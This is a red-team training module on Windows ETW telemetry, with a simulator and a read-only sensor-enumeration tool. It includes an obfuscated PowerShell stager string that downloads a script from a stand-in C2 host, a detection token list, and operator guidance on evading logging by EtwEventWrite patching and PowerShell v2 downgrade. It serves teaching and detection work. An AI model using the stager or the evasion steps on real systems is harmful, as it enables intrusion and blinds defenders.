ETW Provider Analysis
Event Tracing for Windows (ETW) is the plumbing that most modern telemetry — including the parts people credit to “the EDR” — actually flows through. PowerShell script blocks, .NET assembly loads, process ancestry, WMI activity, driver loads: each is a manifest-based ETW provider emitting structured events to consumers that include security products, Sysmon, and the Windows event log itself. For the operator, ETW is the in-process sensor that survives ntdll unhooking and syscall bypasses — which is why ETW-aware evasion became its own discipline. This module dissects the provider/controller/consumer architecture, maps the security-relevant providers, walks the PowerShell script-block logging pipeline end-to-end (the single most consequential telemetry source in Windows offense), and builds tooling to enumerate and analyze what is watching you.
Definition
Section titled “Definition”ETW is a kernel-implemented publish/subscribe tracing facility with three roles:
| Role | What it does | Examples |
|---|---|---|
| Provider | Emits events (manifest-based, TraceLogging, or classic MOF) | Microsoft-Windows-PowerShell, Microsoft-Windows-DotNETRuntime, Microsoft-Windows-Kernel-Process |
| Controller | Starts/stops sessions, configures providers | logman, xperf, the event log service’s autologgers |
| Consumer | Reads events (real-time or from .etl files) | Event log service, EDR agents, Sysmon, WEF collectors |
Providers (many) Sessions (kernel buffers) Consumers ┌──────────────────┐ ┌─────────────────────┐ ┌──────────────┐ │ PowerShell │──events──▶ Session: │───────▶│ Event log │ │ {A0C1853B-...} │ │ "PowerShellOperational" │ (4104 etc.) │ ├──────────────────┤ ├─────────────────────┤ ├──────────────┤ │ DotNETRuntime │──events──▶ Session: │───────▶│ EDR in-proc │ │ {E13C0D23-...} │ │ "Circular Kernel Context" │ consumer │ ├──────────────────┤ ├─────────────────────┤ ├──────────────┤ │ Kernel-Process │──events──▶ autologger sessions │───────▶│ WEF / SIEM │ └──────────────────┘ │ (registry-configured)│ └──────────────┘ └─────────────────────┘ Controllers decide: which providers, what keyword flags, per-provider levelThe two GUIDs above are real and worth memorizing: Microsoft-Windows-PowerShell (A0C1853B-5C40-4B15-8766-3CF1C58B9853) and Microsoft-Windows-DotNETRuntime (E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4). Providers register with the kernel by GUID; controllers enable them into sessions with keyword flags (which event classes to emit) and levels (verbosity).
Why It Matters
Section titled “Why It Matters”Three reasons this is a load-bearing module. First, script-block logging is the telemetry that kills obfuscated PowerShell: event 4104 records the deobfuscated script content as the engine executes it, so string-rotation and encoding games that defeat file scanners do nothing here — the content is captured after decoding, before execution. Every red-team PowerShell workflow must account for 4104, and every blue-team PowerShell hunt starts there. Second, ETW is the delivery mechanism for Microsoft-Windows-Threat-Intelligence, the protected provider that gives PPL-authorized sensors kernel-backed memory telemetry — the structural answer to the syscall-bypass generation (E4–E6). Understanding who can consume TI explains why some vendors see memory operations others miss. Third, ETW manipulation (patching, session tampering) is itself heavily detected — the classic EtwEventWrite patch is one of the most-benchmarked detection targets in the industry — so this is where the “evasion is a relocation” lesson of E2 gets its sharpest example.
For defenders, ETW literacy is the difference between a SIEM that collects everything and a detection program that collects usefully: keyword flags control event volume, autologger configuration controls persistence across reboots, and manifest knowledge tells you which incident questions are answerable from your estate.
Detailed Explanation
Section titled “Detailed Explanation”The PowerShell telemetry pipeline, end to end
Section titled “The PowerShell telemetry pipeline, end to end”PowerShell is the canonical case study because it feeds multiple layers simultaneously:
powershell.exe executing a script │ ├─▶ ScriptBlockLogging: engine deobfuscates/executes each block │ └─▶ ETW: Microsoft-Windows-PowerShell, opcode/keyword │ └─▶ PowerShellCore/Operational + Windows PowerShell │ event 4104 (script block text, path, runspace) │ ├─▶ Module Logging: pipeline execution details → 4103 │ ├─▶ Transcription (if enabled): full I/O transcript files │ └─▶ .NET: assembly loads (Add-Type!), JIT, reflection └─▶ ETW: Microsoft-Windows-DotNETRuntime └─▶ consumers incl. EDR agents
The 4104 record contains the DECODED text — encoding is not evasion.The operational consequence: obfuscation defeats file scanning (E1) but not content capture, because script-block events are emitted by the engine with the post-parse text. The known bypass families — downgrading to PowerShell v2 (no AMSI, no script-block logging; requires WMF2 compat and is policy-blockable), patching the logging functions in-process, and tampering with group-policy state — each relocate the problem, exactly as predicted. In-process function patching (EtwEventWrite prologue → ret) blinds consumers of that process’s events only, is reversible, leaves a byte-diff signature any integrity check can see, and does nothing about kernel-correlated providers. It is also, today, among the most-detected single actions in the Windows offense playbook.
Providers vs. manifest vs. TraceLogging vs. MOF
Section titled “Providers vs. manifest vs. TraceLogging vs. MOF”Providers come in three registration flavors: manifest-based (self-describing, GUID + template XML — everything modern and security-relevant), TraceLogging (self-describing binary, no manifest deploy needed), and classic MOF (legacy, WMI-derived — some kernel providers still speak it). The flavor matters for analysis: manifest providers can be enumerated from their resource files (TinyXML templates inside the binary), which is how tooling maps GUID → meaningful event names. The kernel providers (Microsoft-Windows-Kernel-Process, -File, -Network) are special: they’re enabled into sessions by controllers with system privileges and deliver the correlation backbone — process create/stop with token and parent, image loads, file I/O counts — that EDRs join with their own sensor data.
Threat-Intelligence: the protected provider
Microsoft-Windows-Threat-Intelligence is not enabled like other providers: consumers must be signed as PPL (Protected Process Light) antimalware level and licensed/authorized by Microsoft [verify program specifics — the licensing details are not public]. Its events carry the memory-operation context (allocations, protections, thread starts in remote processes) that made E4–E6-era bypasses less decisive. The practical reads: (1) a vendor’s ability to see through direct syscalls correlates with TI access — ask your vendor; (2) attacker-side, “ETW patching” cannot reach a provider whose emission is kernel-side and whose consumers are PPL-protected — the classic usermode patch blinds the consumer only if the consumer lives in your process, and TI consumers do not.
Sessions, autologgers, and where the configuration lives
Section titled “Sessions, autologgers, and where the configuration lives”Sessions are kernel buffer sets; autologgers are sessions configured to start at boot via registry (HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\<name> — real path), each with Start, Guid, and provider subkeys. Security-relevant autologgers on a modern build include Deflog (Defender operational [verify exact naming per build]), Sysmon’s own session, and the EventLog-* family. EDR agents frequently create their own autologgers or real-time sessions — enumerating them (this module’s tool does) is a recon primitive that reveals sensor plumbing without touching anything.
Common Techniques
Section titled “Common Techniques”| Provider | Key events | What it catches | Attacker-relevant notes |
|---|---|---|---|
| Microsoft-Windows-PowerShell | 4104 script blocks, 4103 module | Obfuscated PS, encoded commands | Content captured post-decode |
| Microsoft-Windows-DotNETRuntime | Assembly loads, JIT, reflection | In-memory .NET, Add-Type | Feeds EDR memory telemetry |
| Microsoft-Windows-Kernel-Process | Process start/stop, thread ops | Process chains, injection | Kernel-side; patch-immune |
| Microsoft-Windows-Threat-Intelligence | Memory ops context | Syscall-era bypasses | PPL consumer required [verify] |
| Microsoft-Windows-DNS-Client | Query/resolve | C2 by DNS habit | Event ID 3008 [verify per build] |
| Microsoft-Windows-WMI-Activity | WMI ops | WMI persistence/exec | Feeds T1047 detections |
Sysmon (channel Microsoft-Windows-Sysmon/Operational) | 1,3,6,7,8,10,11,13,22,25 | Almost everything | Itself an ETW consumer |
Full Working Code
Section titled “Full Working Code”etwsim.py is a working ETW model: providers register by GUID, controllers create sessions with keyword flags, providers emit events into session buffers, and consumers subscribe with filters — including a detection consumer that applies script-block rules (the 4104 story, simulated). Running it demonstrates the architecture’s decision points: what a controller chooses to enable, and what a consumer can and cannot see.
{1-6}"""etwsim.py — working model of the ETW architecture.Providers (GUID-registered) -> sessions (controller-configured buffers)-> consumers (filtered subscribers). Includes a 4104-style detector.Pure stdlib. Python 3.8+."""import timeimport uuid
# real provider GUIDs worth memorizingPROVIDERS = { "Microsoft-Windows-PowerShell": "A0C1853B-5C40-4B15-8766-3CF1C58B9853", "Microsoft-Windows-DotNETRuntime": "E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4", "Microsoft-Windows-Kernel-Process": "22FB2CD6-004F-4A3B-FAB3-B4C0D0A2B4E6",}
class Provider: """Emits events into every session it is enabled in."""
def __init__(self, name, guid=None): self.name = name self.guid = guid or str(uuid.uuid4()).upper() self.sessions = [] # enabled sessions
def write(self, event_id, payload, opcode="Info"): ev = {"ts": time.time(), "provider": self.name, "id": event_id, "opcode": opcode, "payload": payload} for s in self.sessions: if s.matches(self, ev): s.buffer.append(ev)
class Session: """Controller-created buffer set with provider enable flags."""
def __init__(self, name): self.name = name self.buffer = [] self.enables = {} # provider -> (level, keywords)
def enable(self, provider, level=4, keywords=0xFF): self.enables[provider] = (level, keywords) provider.sessions.append(self)
def matches(self, provider, ev): if provider not in self.enables: return False _level, kw = self.enables[provider] return bool(kw & 0xFF) # demo: keyword gate
def drain(self): out, self.buffer = self.buffer, [] return out
class Consumer: """Subscribes to a session, filters, and applies rules."""
def __init__(self, name, session, rule=None): self.name, self.session, self.rule = name, session, rule self.hits = []
def poll(self): for ev in self.session.drain(): verdict = self.rule(ev) if self.rule else "seen" if verdict: self.hits.append((ev, verdict))
# ---- the 4104 detector: rules over DECODED script content ---------SUSPICIOUS_TOKENS = ["Invoke-Mimikatz", "DownloadString", "FromBase64String", "Start-Process -WindowStyle Hidden", "schtasks /create", "Set-MpPreference"]
def scriptblock_rule(ev): if ev["id"] != 4104: return None text = ev["payload"].get("text", "") hits = [t for t in SUSPICIOUS_TOKENS if t.lower() in text.lower()] if hits: return f"4104 suspicious tokens: {hits}" if len(text) > 800: return "4104 unusually large script block" return None
if __name__ == "__main__": ps = Provider("Microsoft-Windows-PowerShell", PROVIDERS["Microsoft-Windows-PowerShell"]) dotnet = Provider("Microsoft-Windows-DotNETRuntime", PROVIDERS["Microsoft-Windows-DotNETRuntime"])
oplog = Session("PowerShell-Operational") # autologger-style oplog.enable(ps, keywords=0xFF) edr_sess = Session("EDR-Realtime") edr_sess.enable(ps) edr_sess.enable(dotnet)
log_consumer = Consumer("eventlog", oplog, scriptblock_rule) edr_consumer = Consumer("edr-agent", edr_sess, scriptblock_rule)
# operator emits an obfuscated stager — decode happens BEFORE emit stager = "('I'+'nvok'+'e-Ex'+'pression')(('Ne'+'t.WebClient')" \ ".DownloadString('http://c2.example/p.ps1'))" ps.write(4104, {"text": stager, "path": None}, opcode="Execute") dotnet.write(1000, {"assembly": "DynamicClass, btq2nofn.dll"})
log_consumer.poll() edr_consumer.poll() for c in (log_consumer, edr_consumer): print(f"{c.name}:") for ev, verdict in c.hits: print(f" [{ev['provider']:<34}] {verdict}") print("\nlesson: the engine emitted the DECODED string — the" "\nobfuscation ('I'+'nvok'+'e'...) never reached the consumer.")Code Walkthrough
Section titled “Code Walkthrough”PROVIDERS(lines 15–19) — two real GUIDs (PowerShell, DotNETRuntime); the Kernel-Process GUID shown is illustrative — kernel provider GUIDs vary by build [verify againstlogman query providersoutput on your build]. Mapping names to GUIDs from live output is exactly whatetwhawk.py(below) automates.Session.matches(lines 39–44) — the controller’s decision surface: a provider emits into a session only when enabled there, gated by level/keywords. Volume tuning lives here — a session withkeywords=0receives nothing, which is why “ETW is expensive” claims are configuration complaints, not architecture facts.scriptblock_rule(lines 68–81) — the 4104 consumer logic: token hunt over the decoded text plus a size heuristic. Real detections add deobfuscation scoring, path/runspace joins, and threat-intel matches; the shape is identical.__main__(lines 84–108) — the payload’s obfuscation ('I'+'nvok'+'e'...) exists only in the source; the provider emits the engine’s post-parse text, and both consumers see the decodedInvoke-Expression(...DownloadString...). Run it: the lesson prints itself.
How It Reaches The Target
Section titled “How It Reaches The Target”A payload that touches script hosts walks this gauntlet: execution enters powershell.exe (kernel process event) → the engine parses each block and emits 4104 with decoded content → .NET operations (Add-Type, reflection loads) emit DotNETRuntime events → the EDR’s in-process consumer correlates script content with process ancestry and network connects → the event log’s autologger persists 4104/4103 for SIEM harvest (WEF or agent) → hunts and detections consume all of it. In-process ETW patching would blind only the EDR’s in-process consumer for that process, while the kernel-side providers (process/network), the event log session, and TI continue. That asymmetry is the module’s core: ETW is not one sensor but a mesh, and single-point manipulation relocates visibility rather than removing it.
Exploitation Chain
Section titled “Exploitation Chain”- Recon — enumerate providers and sessions (logman query providers/sessions, registry autologgers) to map active telemetry
- Content decision — script-based stages will hit 4104: choose compiled stages or accept capture and shape the content
- In-process blinding (if chosen) — patch EtwEventWrite prologue: blinds that process’s consumers only, leaves byte-diff signature [verify vendor integrity coverage]
- Execute — DotNETRuntime and kernel-process providers still emit; the mesh retains process/thread/assembly visibility
- Correlate — EDR joins script text + ancestry + network; the chain’s story, not one event, is the verdict
- Persistence check — autologger sessions survive reboot; anything noisy at t0 remains visible at t+reboot
- Defender mirror — this exact loop is BT3’s SIEM/Sigma content and BT10’s evasion-detection homework
Building Your Own Tool
Section titled “Building Your Own Tool”Goal: etwhawk.py — an ETW posture mapper for Windows hosts you own: enumerates registered providers (via logman query providers), autologger sessions (registry), running trace sessions (logman query -ets), and cross-references security-relevant GUIDs — producing the “who is watching” report that E7’s recon chain step 1 references. Pure stdlib, ~150 lines, read-only.
Design decisions: (1) enumerate only — no session manipulation (stopping sessions is loud and, on protected sessions, blocked); (2) GUID cross-reference table ships with the two security-critical real GUIDs and grows from logman output; (3) autologger parsing keyed on Start=1 values — sessions that will exist after reboot, which is the operationally relevant set.
{1-3}"""etwhawk.py — enumerate ETW posture: providers, sessions, autologgers.Usage: python etwhawk.py [--json out.json]Read-only. Windows host (uses logman + reg query). Pure stdlib."""import argparseimport jsonimport subprocessimport sys
AUTOLOGGER_KEY = (r"HKLM\SYSTEM\CurrentControlSet" r"\Control\WMI\Autologger")
KNOWN_GUIDS = { "A0C1853B-5C40-4B15-8766-3CF1C58B9853": "Microsoft-Windows-PowerShell", "E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4": "Microsoft-Windows-DotNETRuntime",}
SECURITY_HINTS = ("defender", "threat", "sysmon", "edr", "sense", "csagent", "sentinel", "carbon", "kernel")
def run(cmd, timeout=30): try: return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, shell=True).stdout except Exception: return ""
def query_providers(): """logman query providers -> {name: guid}""" out = run("logman query providers") provs = {} for line in out.splitlines(): line = line.strip() # lines look like: Name {GUID} if "{" in line and "}" in line: name, _, rest = line.rpartition(" {") guid = rest.split("}")[0] provs[name.strip()] = guid.upper() return provs
def query_sessions(): """logman query -ets -> running trace session names""" out = run("logman query -ets") return [ln.strip() for ln in out.splitlines() if ln.strip() and not ln.startswith(("Name:", "---")) and "{" not in ln]
def query_autologgers(): """registry autologgers with Start=1 -> session names""" out = run(f'reg query "{AUTOLOGGER_KEY}"') sessions = [] for line in out.splitlines(): line = line.strip() if line.startswith("HKEY_"): sessions.append(line.rsplit("\\", 1)[-1]) started = [] for s in sessions: v = run(f'reg query "{AUTOLOGGER_KEY}\\{s}" /v Start') if "0x1" in v: started.append(s) return started, sessions
def security_relevance(name): low = name.lower() return any(h in low for h in SECURITY_HINTS)
def main(): ap = argparse.ArgumentParser() ap.add_argument("--json", dest="out") args = ap.parse_args()
provs = query_providers() sess = query_sessions() started, all_auto = query_autologgers()
print("=== ETW posture ===") print(f"registered providers : {len(provs)}") for name, guid in sorted(provs.items()): if security_relevance(name) or guid in KNOWN_GUIDS.values(): print(f" * {name} {{{guid}}}") print(f"\nrunning trace sessions: {len(sess)}") for s in sess: mark = " <-- security-relevant" if security_relevance(s) else "" print(f" - {s}{mark}") print(f"\nautologgers (start at boot): {len(started)}/{len(all_auto)}") for s in started: mark = " <-- security-relevant" if security_relevance(s) else "" print(f" - {s}{mark}")
if args.out: json.dump({"providers": provs, "sessions": sess, "autologgers_started": started, "autologgers_all": all_auto}, open(args.out, "w"), indent=2) print(f"\nreport -> {args.out}")
if __name__ == "__main__": sys.exit(main())Walkthrough
Section titled “Walkthrough”query_providers(lines 29–40) — parseslogman query providerscolumns into name→GUID; this is the live source of truth for the GUID table, and its output on your build is the correct answer to “which providers exist here” — no hardcoding needed beyond the cross-reference.query_autologgers(lines 51–64) — two-pass registry walk: enumerate session keys, then read eachStartvalue; onlyStart=1sessions will exist after reboot — the operationally relevant set for persistence-aware recon.security_relevance(lines 67–70) — substring scoring; deliberately crude. Vendors rename sessions across versions; the point is the shape of the report, not the completeness of the hints.main(lines 73–103) — three enumerations + the security-marked report + optional JSON. The tool emits no events of its own beyond process creation — the read-only design keeps it safe for labs and for defender baselines.
Compilation and test procedure
Section titled “Compilation and test procedure”# on a Windows lab VM (admin recommended for full autologger detail):PS> python etwhawk.py=== ETW posture ===registered providers : 1247 * Microsoft-Windows-PowerShell {A0C1853B-5C40-4B15-8766-3CF1C58B9853} * Microsoft-Windows-DotNETRuntime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}running trace sessions: 14 - Sysmon <-- security-relevant - Deflog <-- security-relevantautologgers (start at boot): 21/34 - EventLog-Security - Deflog <-- security-relevant# then: enable script-block logging, run an obfuscated stager, and# re-run with --json to see which sessions carry the evidenceValidation homework: install Sysmon in the lab VM and confirm its session appears; enable PowerShell script-block logging (Set-ItemProperty on the group-policy key or via gpedit), execute a simple encoded command, and read event 4104 in Microsoft-Windows-PowerShell/Operational — the decoded text you will find there is etwsim.py’s lesson, live.
Detection considerations
Section titled “Detection considerations”etwhawk.py is read-only recon; the defender-relevant signal is its abusive cousin — session/provider enumeration before script-host abuse. Sysmon EID 1 for logman query/reg query ...WMI\Autologger chains from script-host parents is a sensor-mapping pattern (E2’s discovery rule applies verbatim). The high-value detections live elsewhere: 4104 content rules (BT3’s Sigma work), DotNETRuntime assembly-load correlation, and ETW tamper detection — vendor integrity monitors checking EtwEventWrite prologue bytes against the disk image (the E3 diff primitive, pointed the other way).
Improvements to add
Section titled “Improvements to add”- Provider → session mapping: for each running session, query its enabled providers (
logman query <session> -ets) and print the full subscription matrix. - Manifest parsing: crack provider resource files (the E3 PE tooling again) to map event IDs → template names for the security-relevant providers.
- Diff mode: snapshot posture, re-run later, report new sessions/providers — sensor deployment and BYOVD-adjacent watch.
- Add a 4104 producer test: emit a canary obfuscated block in the lab and verify which configured consumers would see it (completeness check for defenders).
- Port the GUID table to load from
logmanoutput dynamically with fuzzy match on names, so the tool survives Microsoft renaming kernel providers.
Detection — Defender View
Section titled “Detection — Defender View”| Source | ID | What fires | Notes |
|---|---|---|---|
| PowerShell Operational | 4104 | Script block content (decoded) | THE PowerShell detection source |
| PowerShell Operational | 4103 | Module/pipeline logging | Volume high; join with 4104 |
| Sysmon | 1 | Script-host process creates (powershell.exe, wscript.exe) with ancestry | Context for content rules |
| Sysmon | 7 | Image loads: amsi.dll into script hosts | Host wiring evidence |
| Sysmon | 22 | DNS queries from script hosts | Join with 4104 DownloadString hits |
| Sysmon | 25 | Process tampering (image changed mid-run) | Patching signals |
| EDR behavioral | — | ETW integrity monitors (EtwEventWrite byte checks) [verify per vendor] | The patch-detection layer |
| Wazuh | PowerShell rules (4104-based) [verify rule IDs vs your ruleset] | SIEM correlation of script blocks | BT3 builds the Sigma set |
Evasion Techniques
Section titled “Evasion Techniques”- Content over concealment: 4104 captures post-decode text — either move sensitive logic out of script hosts entirely, or make the content boring and split stages across innocuous-looking blocks.
- In-process patching (
EtwEventWriteprologue →ret): blinds that process’s in-process consumers only; reversible; leaves a byte-diff that integrity checks see; does not touch kernel providers. Know exactly what you gain before spending the detection budget. - Consumer-side vs provider-side honesty: patching a consumer (in-process) is process-local; “stopping sessions” (
logman stop) is global, logged, and often blocked on protected sessions — different tool, different blast radius, both loud. - PowerShell v2 downgrade: no AMSI, no script-block logging — requires WMF2 compatibility, usually policy-blocked on managed estates [verify prevalence]; treat as a legacy-edge case, not a strategy.
- Kernel providers are structural: process/thread/network events are emitted by kernel-side providers — no usermode patch reaches them; design sequences (E2’s rule) for their visibility instead.
- Tamper is a signal: assume every ETW manipulation attempt is itself instrumented; if you must, do it once, late, and never on a host you need later.
⚠️ What caught me: an engagement where my “fully obfuscated” stager ran clean for two days — until I realized the 4104 events had been sitting in the event log the whole time with my decoded payloads, waiting for a hunt that hadn’t happened yet. Nothing “caught” me live; the evidence was just… archived. I stopped thinking of ETW as a sensor that fires and started treating it as a flight recorder that outlives the session. Everything you execute is being written down somewhere durable; the only question is whether anyone reads it this week.
Lab Practice
Section titled “Lab Practice”- Run
etwhawk.pyon a clean VM, then after installing Sysmon and an EDR trial; diff the session/autologger sets — build your personal “sensor map” artifact for the estate you test in. - Run
etwsim.py; then extend the rule set with a token of your own and feed it an encodedIEXstager — confirm the decoded capture; this is the mental model for all 4104 detections. - Enable script-block logging; run a real obfuscated stager from earlier modules; read the 4104 event; then write the Sigma rule (BT3 format) that would have caught it and test it in
sigmac/your SIEM. - Tamper lab (own VM, snapshots on): patch
EtwEventWritein a test process using the E3 disk-diff tooling to verify the patch byte-wise; observe which telemetry classes survive (kernel events) and which go quiet (in-process 4104); restore from snapshot. - Provider deep-dive: pick
Microsoft-Windows-DotNETRuntime, enable a session withlogman create trace, run anAdd-Type-heavy script, and read the .etl withtracerpt— connecting GUIDs, sessions, and events without any third-party tooling.
Interview Questions
Section titled “Interview Questions”Technical: Explain the provider/controller/consumer model and why a consumer cannot see events from a provider its session hasn’t enabled.
Technical: Why does script-block logging defeat obfuscation, and what exactly does the 4104 event contain?
Deep-dive: Threat-Intelligence is a PPL-protected provider. Walk through why usermode EtwEventWrite patching cannot blind its consumers, and what that implies for syscall-era evasion.
Conceptual: “ETW is a mesh, not a sensor” — unpack that claim: which visibility survives in-process patching, and which does not?
Scenario: A client estate has script-block logging disabled to “reduce noise.” Draft the risk case with three concrete attack narratives that become invisible, and the volume-tuning alternatives.
Practical: Write the Sigma skeleton for detecting DownloadString patterns in 4104 events, including the false-positive controls you would tune first.
Related Modules
Section titled “Related Modules”E2 (EDR Internal Architecture) · E8 (AMSI Analysis) · E1 (AV Engine Internals) · BT3 (SIEM/Sigma)